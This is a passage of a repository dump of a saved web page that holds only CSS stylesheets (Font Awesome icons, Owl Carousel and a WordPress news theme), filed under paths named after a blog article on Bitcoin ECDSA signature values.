content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_c8322bd5bffc8e2856f2cbcd03c61d18.css: -------------------------------------------------------------------------------- 1 | .owl-carousel{display:none;width:100%;-webkit-tap-highlight-color:transparent;position:relative;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0px,0px,0px)}.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{position:relative;min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-nav.disabled,.owl-carousel .owl-dots.disabled{display:none}.owl-carousel .owl-nav .owl-prev,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-dot{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-prev,.owl-carousel .owl-nav button.owl-next,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0 !important;font:inherit}.owl-carousel.owl-loaded{display:block}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:pan-y;touch-action:pan-y;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.no-js .owl-carousel{display:block}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item .owl-lazy[src^=""],.owl-carousel .owl-item .owl-lazy:not([src]){max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(//cryptodeeptech.ru/wp-content/themes/it-news-grid/assets/owl/owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-tn,.owl-carousel .owl-video-playing .owl-video-play-icon{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%} -------------------------------------------------------------------------------- /The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files/wmac_single_d1cf6f49400112d539e59eee9b75e10d.css: -------------------------------------------------------------------------------- 1 | @charset "UTF-8";.shadow1:hover,.shadow1:focus{box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.shadow2:hover,.shadow2:focus{box-shadow:0 3px 6px rgba(0,0,0,.16),0 3px 6px rgba(0,0,0,.23)}.shadow3:hover,.shadow3:focus{box-shadow:0 10px 20px rgba(0,0,0,.19),0 6px 6px rgba(0,0,0,.23)}.shadow4:hover,.shadow4:focus{box-shadow:0 14px 28px rgba(0,0,0,.25),0 10px 10px rgba(0,0,0,.22)}.shadow5:hover,.shadow5:focus{box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}h1,h2,h3,h4,h5,h6,.title-font,.main-navigation,.widget ul,#respond label,#colophon,.mfp-counter{font-family:"Lato",sans-serif}body{font-family:"Lato",sans-serif}input[type=submit],.post-edit-link,.page-header span,#itng-content-title span,.main-navigation,#menu ul li.menu-item-has-children span.dropdown-arrow i,.widget .widget-title,.itng-pagination,.itng-pagination .nav-links span.current,body.single #primary h1.entry-title,#comments .comment .reply a,#colophon a,.edit-post-link,#itng-top-bar #top-navigation button,#itng-top-bar #top-navigation a,.wpcf7 .wpcf7-not-valid-tip,#itng-featured-posts .itng-featured-post-date,#itng-featured-posts h3,#itng-featured-news .slider-post-wrapper .posted-on a,#itng-featured-news #itng-featured-news-list-container .posted-on a,#itng-featured-news #itng-featured-news-list-container .itng-news-list-cats a,#itng-featured-news #itng-featured-news-carousel-container .posted-on a{font-weight:900}@keyframes tabActive{0%{width:0}100%{width:50%}}#itng-top-bar #top-navigation button,.edit-post-link,#comments .comment .reply a,input[type=submit]{position:relative;display:inline-block;color:#fff;border:0;background-color:#f4ac45;border-radius:0;padding:.6em 1em;letter-spacing:.05em;text-transform:uppercase;transition:all .1s ease-in-out;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out}#itng-top-bar #top-navigation button:hover:before,.edit-post-link:hover:before,#comments .comment .reply a:hover:before,input[type=submit]:hover:before,#itng-top-bar #top-navigation button:focus:before,.edit-post-link:focus:before,#comments .comment .reply a:focus:before,input[type=submit]:focus:before{content:"";position:absolute;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.05)}#itng-top-bar #top-navigation button:active:before,.edit-post-link:active:before,#comments .comment .reply a:active:before,input[type=submit]:active:before{content:"";position:absolute;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.1)}.shadow1{transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-webkit-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-moz-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-ms-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-o-transition:box-shadow .1s cubic-bezier(.4,0,.2,1)}.shadow2{transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-webkit-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-moz-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-ms-transition:box-shadow .1s cubic-bezier(.4,0,.2,1);-o-transition:box-shadow .1s cubic-bezier(.4,0,.2,1)}.shadow3{transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-webkit-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-moz-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-ms-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-o-transition:box-shadow .3s cubic-bezier(.4,0,.2,1)}.shadow4{transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-webkit-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-moz-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-ms-transition:box-shadow .3s cubic-bezier(.4,0,.2,1);-o-transition:box-shadow .3s cubic-bezier(.4,0,.2,1)}.shadow5{transition:box-shadow .6s cubic-bezier(.4,0,.2,1);-webkit-transition:box-shadow .6s cubic-bezier(.4,0,.2,1);-moz-transition:box-shadow .6s cubic-bezier(.4,0,.2,1);-ms-transition:box-shadow .6s cubic-bezier(.4,0,.2,1);-o-transition:box-shadow .6s cubic-bezier(.4,0,.2,1)}html{font-size:16px}body{line-height:1.8;font-weight:400;color:#333;-webkit-font-smoothing:antialiased}a,button{color:#000;text-decoration:none}h1,h2,h3,h4,h5,h6,.title-font{margin:.5rem 0;line-height:1.2;color:#191308}h1{font-size:3rem}h2{font-size:2rem}h3{font-size:1.6rem}h4{font-size:1.5rem}h5{font-size:1.2rem}h6{font-size:1rem;letter-spacing:.1em;text-transform:uppercase}#primary,#secondary{width:100%}blockquote{border-left:solid .2rem #d12223;margin:4rem 0 1.25rem;padding:.5rem 0 .5rem 2rem}blockquote:before,blockquote:after{content:""}blockquote p:last-child{margin:0}pre,fieldset,input,textarea,table,table *,hr{border-color:#e6e6e6}figcaption{background-color:#f1f1f1;padding:.24em .4em;font-size:.9em;color:#666;font-style:italic}.wp-block-image figcaption{margin-top:0}th,td{border:solid 1px #e6e6e6;padding:1em .5em;line-height:1.4;margin:0}#footer-sidebar th,#footer-sidebar td{border:solid 1px rgba(255,255,255,.2)}ul,ol{padding-left:.1em}ul li,ol li{margin:.5em 0}address{margin-bottom:1rem;color:#999;font-style:italic}cite{font-size:1em;color:#888}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid #ededed}ins{background-color:#e14546;color:#fff;text-decoration:none;padding:0 3px}pre{background-color:#f7f7f7;text-overflow:ellipsis}q{font-style:italic}.post-edit-link{color:#f4ac45}#content-wrapper{margin:auto;padding-top:2em;padding-bottom:2em;background-color:#fff}.page-header{width:100%;margin-bottom:.8em}.page-header .page-title{font-weight:400}.page-content,.entry-content,.entry-summary{margin:1em 0 0}.page-content a,.entry-content a,.entry-summary a{text-decoration:underline}.gallery{grid-gap:.2em}.gallery figure{margin-bottom:.2em}#itng-content-title span{display:block;font-size:1.7em;border-bottom:solid 5px #d12223}@media (min-width:768px){#itng-content-title span{font-size:2em}}#masthead{font-size:1rem}#masthead .header-overlay{position:absolute;left:0;right:0;top:0;bottom:0;background-color:#000;opacity:.3}#masthead .custom-logo-link img{padding:2em 0}.nav-wrapper{position:relative;background-color:#d12223;padding:.5em 0}@media (min-width:992px){.nav-wrapper{padding:0}}.nav-wrapper>*{position:relative}.nav-wrapper button{background:0 0;border:0;font-size:1.5em;color:#fff}#header-image{position:relative;min-height:200px;display:flex;justify-content:center;align-items:center}.site-branding{position:relative;z-index:1}@media (max-width:767px){.site-branding{margin-bottom:.5em;text-align:center}}.site-branding .site-title{margin:0}.site-branding .site-description{margin-bottom:0}#logo-ad-area{display:flex;align-items:center;margin-top:2em;margin-bottom:2em}#logo-ad-area section{margin-bottom:0}@media (max-width:992px){#search-wrapper{display:flex}}[class^=itng-search]{position:absolute;right:0;top:100%;height:0;opacity:0;overflow:hidden;transition:all .1s ease-in-out;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;z-index:999}[class^=itng-search] form{height:100%;background-color:#d12223}[class^=itng-search] form label{height:60px;display:flex;align-items:center;margin:0}[class^=itng-search] form label input[type=search]{position:relative;height:100%;background-color:rgba(0,0,0,.14);padding:.5em;border:0;color:#fff}[class^=itng-search] form label input[type=search]::placeholder{color:rgba(255,255,255,.5)}[class^=itng-search] form label input[type=search]:focus-visible{outline:none}[class^=itng-search] form input[type=submit]{display:none}#go-to-field,[class^=itng-search] button{clip:rect(1px,1px,1px,1px);position:absolute}#search-btn{position:relative}.search-btn-main:focus,.search-btn-sticky:focus{outline:0}.main-navigation{width:auto}.main-navigation a{color:#fff;padding:.5em 1em}@media (max-width:991px){.main-navigation{display:none}}@media (min-width:992px){.main-navigation ul#menu-desktop>li{margin:0;float:left}.main-navigation ul#menu-desktop>li.menu-item-has-children>a:after,.main-navigation ul#menu-desktop>li.page_item_has_children>a:after{position:relative;content:"";font-family:"FontAwesome";padding-left:10px}.main-navigation ul#menu-desktop>li>a{padding-top:1.2em;padding-bottom:1.2em;color:#fff}.main-navigation ul#menu-desktop li:hover{background-color:rgba(0,0,0,.05)}.main-navigation ul#menu-desktop ul{flex-direction:column;opacity:0;text-transform:none;background-color:#d12223;transform:translateY(-15px);-webkit-transform:translateY(-15px);-moz-transform:translateY(-15px);-ms-transform:translateY(-15px);-o-transform:translateY(-15px);transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-webkit-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-moz-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-ms-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-o-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-webkit-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-moz-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-ms-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);-o-transition:opacity .3s cubic-bezier(.4,0,.2,1),transform .3s cubic-bezier(0,0,.2,1);font-weight:400}.main-navigation ul#menu-desktop ul li{float:none;display:block;position:relative;margin:0;border:solid 1px rgba(0,0,0,.1);border-top:solid 1px rgba(255,255,255,.08);border-left:solid 1px rgba(255,255,255,.1)}.main-navigation ul#menu-desktop ul li.menu-item-has-children>a:after,.main-navigation ul#menu-desktop ul li.page_item_has_children>a:after{position:relative;content:"";font-family:"FontAwesome";float:right}.main-navigation ul#menu-desktop ul li:hover>ul,.main-navigation ul#menu-desktop ul li:focus-within>ul{left:100%;transform:translateY(0px);-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px)}.main-navigation ul#menu-desktop li:hover>ul,.main-navigation ul#menu-desktop li:focus-within>ul{opacity:1;left:auto;transform:translateY(0px);-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px)}}.mobile-nav-btn{border:0;background:0 0;font-size:1.5em;color:#fff}@media (min-width:992px){.mobile-nav-btn{display:none}}#panel-top-bar{overflow:auto;position:relative;background-color:rgba(255,255,255,.1)}#panel-top-bar .menu-link{float:right;border:0;border-radius:0;font-size:1.4em;padding:.4em;background-color:rgba(255,255,255,.1);color:#fff}button.go-to-top,button.go-to-bottom{position:absolute;clip:rect(1px,1px,1px,1px)}#menu{z-index:999;text-align:left;overflow-y:auto;background-color:#d12223}#menu .menu-overlay{content:"";position:absolute;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.14);z-index:0;display:none}#menu .go-to-top{background:0 0;float:left;border:0}#menu .go-to-top i{color:#fff}#menu .go-to-bottom{background:0 0;float:right;border:0}#menu .go-to-bottom i{color:#fff}#menu ul{margin-left:0;padding:0;width:100%}#menu ul li{list-style:none;padding:0;margin:0;position:relative}#menu ul li:before{display:none}#menu ul li a{display:block;color:#fff;padding:.5em .8em;width:100%;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#menu ul li.menu-item-has-children{display:block}#menu ul li.menu-item-has-children span.dropdown-arrow{position:absolute;height:44px;width:44px;top:0;right:0;display:flex;justify-content:center;align-content:center;background:rgba(255,255,255,.1);cursor:pointer}#menu ul li.menu-item-has-children span.dropdown-arrow i{margin:auto;color:#fff;font-size:20px}#menu ul li.menu-item-has-children ul{background:rgba(255,255,255,.1)}body #sticky-navigation{width:100%;position:fixed;top:0;transition:all .3s ease-out;-webkit-transition:all .3s ease-out;-moz-transition:all .3s ease-out;-ms-transition:all .3s ease-out;-o-transition:all .3s ease-out;transform:translateY(-100%);-webkit-transform:translateY(-100%);-moz-transform:translateY(-100%);-ms-transform:translateY(-100%);-o-transform:translateY(-100%);z-index:9}body #sticky-navigation .itng-search{bottom:unset;top:100%;z-index:9}.widget-area:not(#header-widget-wrapper) .widget{padding:1.2em;border:solid 1px #eee;margin-bottom:2em}.widget .widget-title{margin-top:0;margin-bottom:.75em;font-size:1.5rem}#itng-before-content .widget .widget-title{text-align:center}.widget.widget_search label{margin:0;width:100%}.widget.widget_search .wp-block-search__button-inside .wp-block-search__inside-wrapper{border:solid 3px #eee}.widget.widget_search .wp-block-search__button-outside input[type=search]{border:solid 3px #eee}.widget.widget_search .wp-block-search__no-button input[type=search]{border:solid 3px #eee}.widget.widget_search input[type=search]{border-radius:0}.widget.widget_search input[type=submit]{display:none}.widget.widget_search .wp-block-search__inside-wrapper button.wp-block-search__button{background:0 0;border:0;padding:0}.widget.widget_search .wp-block-search__inside-wrapper button.wp-block-search__button svg{height:32px;width:32px}.widget.widget_itng_cats_tab{overflow:auto}.widget.widget_itng_cats_tab ul{position:relative;display:flex;justify-content:center;margin-bottom:0}.widget.widget_itng_cats_tab ul li{display:inline-block;float:left;margin:0;position:relative;text-transform:uppercase;width:auto;overflow:hidden}.widget.widget_itng_cats_tab ul li a{color:#fff;background-color:#d12223;padding:.5em 1.2em;font-size:.9em;display:-webkit-box;-webkit-line-clamp:1;-webkit-box-orient:vertical;overflow:hidden}.widget.widget_itng_cats_tab ul li a:hover{color:#fff}.widget.widget_itng_cats_tab ul li:before{content:"";margin-right:0}.widget.widget_itng_cats_tab ul.is-vertical{font-size:.9em}.widget.widget_itng_cats_tab .tabs-slider{position:relative;content:"";top:100%;left:0;width:0;height:0;border-top:solid 10px #d12223;border-bottom:solid 10px transparent;border-left:10px solid transparent;border-right:10px solid transparent}.widget.widget_itng_cats_tab .ui-tabs{text-align:center}.widget.widget_itng_cats_tab .category_panel.is-vertical .itng-card-wrapper{padding:0;border:0}.widget.widget_itng_cats_tab .category_panel.is-vertical .itng-thumb{overflow:hidden}.widget.widget_itng_cat_slider .owl-stage-outer{overflow:hidden}.widget.widget_itng_cat_slider .owl-nav{display:inline-block;width:100%;text-align:center;position:relative;left:2em;margin:auto;overflow:hidden}.widget.widget_itng_cat_slider .owl-nav button{display:inline-block;overflow:hidden;margin:10px 8px 0}.widget.widget_itng_cat_slider .owl-nav button span{padding:0 .3em;background-color:#d12223;color:#fff}.widget.widget_itng_cat_slider .owl-nav span{font-size:3em;color:#d12223}.widget.widget_itng_cat_slider .slide-title{position:absolute;display:inline-block;bottom:10%;max-width:50%;background-color:#d12223}.widget.widget_itng_cat_slider .slide-title h3{display:inline-block;margin:.5em .8em;font-size:1.2em}@media screen and (min-width:768px){.widget.widget_itng_cat_slider .slide-title h3{font-size:2em}}.widget.widget_itng_cat_slider .slide-title a{display:-webkit-box;-webkit-line-clamp:1;-webkit-box-orient:vertical;overflow:hidden;color:#fff}.widget.widget_itng_recent_posts,.widget.widget_itng_featured_cat{overflow:auto}.widget.widget_itng_recent_posts .itng-widget-post,.widget.widget_itng_featured_cat .itng-widget-post{margin-bottom:.8em}.widget.widget_itng_recent_posts .itng-widget-post-thumb,.widget.widget_itng_featured_cat .itng-widget-post-thumb{overflow:hidden}.widget.widget_itng_recent_posts .itng-widget-post-title,.widget.widget_itng_featured_cat .itng-widget-post-title{padding-left:.75em;line-height:1.5}.widget.widget_itng_recent_posts .itng-widget-post-title .itng-widget-post-link,.widget.widget_itng_featured_cat .itng-widget-post-title .itng-widget-post-link{display:block;color:#d12223}@media screen and (min-width:768px){.widget.widget_itng_recent_posts .itng-widget-post-title,.widget.widget_itng_featured_cat .itng-widget-post-title{margin-top:0}}.widget.widget_itng_recent_posts .itng-widget-post-title .recent-date,.widget.widget_itng_featured_cat .itng-widget-post-title .recent-date{font-size:.75em;color:#888}.widget ul{margin-left:0;list-style:none}.widget ul li{position:relative}.widget ul li a{color:#d12223;transition:color .1s cubic-bezier(.4,0,.2,1);-webkit-transition:color .1s cubic-bezier(.4,0,.2,1);-moz-transition:color .1s cubic-bezier(.4,0,.2,1);-ms-transition:color .1s cubic-bezier(.4,0,.2,1);-o-transition:color .1s cubic-bezier(.4,0,.2,1)}.widget ul li a:hover{text-decoration:underline}.widget ul li:last-child{margin-bottom:0}.itng-pagination{width:100%;text-align:center}.itng-pagination .nav-links>*{margin:.8em;color:#d12223}.itng-pagination .nav-links span.current{position:relative;color:#a6a6a6}body.single #primary .entry-meta{display:flex;align-items:center;margin-bottom:1.5em}body.single #primary .entry-meta:after{content:"";position:relative;height:1px;width:100%;background-color:#ddd}body.single #primary .entry-meta>*{flex-shrink:0;margin-right:1em}body.single #primary .entry-meta a{color:#d12223;font-size:.9em;text-transform:uppercase}body.single #primary .entry-content{margin-bottom:1em;padding-bottom:1em;border-bottom:solid 1px #eee}body.single #primary .entry-footer{margin-bottom:2em}body.single #primary .entry-footer i{line-height:1.8em;padding:0 .8em;margin-right:.5em;border-radius:1em;background-color:#f1f1f1;color:#ccc}body.single #primary .entry-footer>*{margin-bottom:1em}body.single #primary .itng-related-posts .entry-meta{margin-bottom:.5em}body.single #primary .itng-related-posts .entry-meta:after{display:none}body.single #primary .itng-related-posts .entry-meta a{font-weight:400;color:#777}body.single #primary .nav-links{width:100%;border:solid 1px #eee;padding:.8em 1.2em;margin-bottom:2em;font-style:italic;overflow:hidden}body.single #primary .nav-links>*{display:inline-block;max-width:50%}body.single #primary .nav-links .nav-previous{float:left;display:flex;flex-direction:column}body.single #primary .nav-links .nav-previous:before{content:"Previous Post";width:100%;font-size:.85em;color:#bbb}body.single #primary .nav-links .nav-next{float:right;display:flex;flex-direction:column}body.single #primary .nav-links .nav-next:before{content:"Next Post";width:100%;font-size:.85em;color:#bbb}body.single #primary .nav-links a{color:#d12223}body.single #primary #author_box{border:solid 1px #ddd;padding:1em}#respond label{display:inline}#respond textarea{padding:.5em}#comments{margin-top:2em}#comments .comments-title{margin-bottom:1em}#comments .comment-list,#comments ul.children{margin:0;list-style:none}#comments ol.comment-list{overflow:hidden}#comments .comment-body{margin-bottom:.5em}#comments ul.children{border:solid 1px #eee;padding:1.5em}#comments .comment{border:solid 1px #eee;padding:1em;margin-bottom:1em}#comments .comment .comment-info{display:flex;align-items:center;margin-bottom:1em}#comments .comment .vcard{margin-right:.75em}#comments .comment .vcard a{color:#d12223}#comments .comment .vcard img{border-radius:50%;margin-right:.75em}#comments .comment .comment-meta a{color:gray;font-size:.75em;text-transform:uppercase;letter-spacing:.05em;margin-right:.75em}#footer-sidebar{position:relative;background-color:#191308;padding:3em 0;border-top:solid 5px #f4ac45}#footer-sidebar .widget{border:solid 1px rgba(255,255,255,.17) !important;color:#aaa;padding:0}#footer-sidebar .widget h4.widget-title{margin-top:0;color:#f4ac45}#footer-sidebar .widget a{color:#fff}#footer-sidebar .widget li:before{color:#d12223}#colophon{background-color:#d12223;color:#fff;text-align:center;padding:10px 0 20px}#colophon a{color:#fff}#itng-back-to-top{position:fixed;align-items:center;justify-content:center;bottom:10vh;right:10vh;color:#fff;height:50px;width:50px;background-color:#d12223;display:none}#itng-back-to-top i{padding-bottom:5px}#itng-back-to-top.show{display:flex;animation:backToTop .3s forwards}@keyframes backToTop{0%{opacity:0;transform:translateY(20px);-webkit-transform:translateY(20px);-moz-transform:translateY(20px);-ms-transform:translateY(20px);-o-transform:translateY(20px)}100%{opacity:1;transform:translateY(0px);-webkit-transform:translateY(0px);-moz-transform:translateY(0px);-ms-transform:translateY(0px);-o-transform:translateY(0px)}}#itng-top-bar{background-color:#eee;padding:.2em 0;box-shadow:0 1px #ccc}#itng-top-bar #itng-social .icon{display:inline-block;float:left;margin-right:.75em}#itng-top-bar #itng-social .icon a{font-size:1em;color:#333}#itng-top-bar #itng-social .icon a i.fa-facebook-f:hover{color:#278eea}#itng-top-bar #itng-social .icon a i.fa-twitter:hover{color:#33a4ec}#itng-top-bar #itng-social .icon a i.fa-rss:hover{color:#e66237}#itng-top-bar #itng-social .icon a i.fa-pinterest:hover{color:#c22532}#itng-top-bar #itng-social .icon a i.fa-vimeo:hover{color:#34b3df}#itng-top-bar #itng-social .icon a i.fa-youtube:hover{color:#f91628}#itng-top-bar #itng-social .icon a i.fa-instagram:hover{color:#c141a4}#itng-top-bar #itng-social .icon a 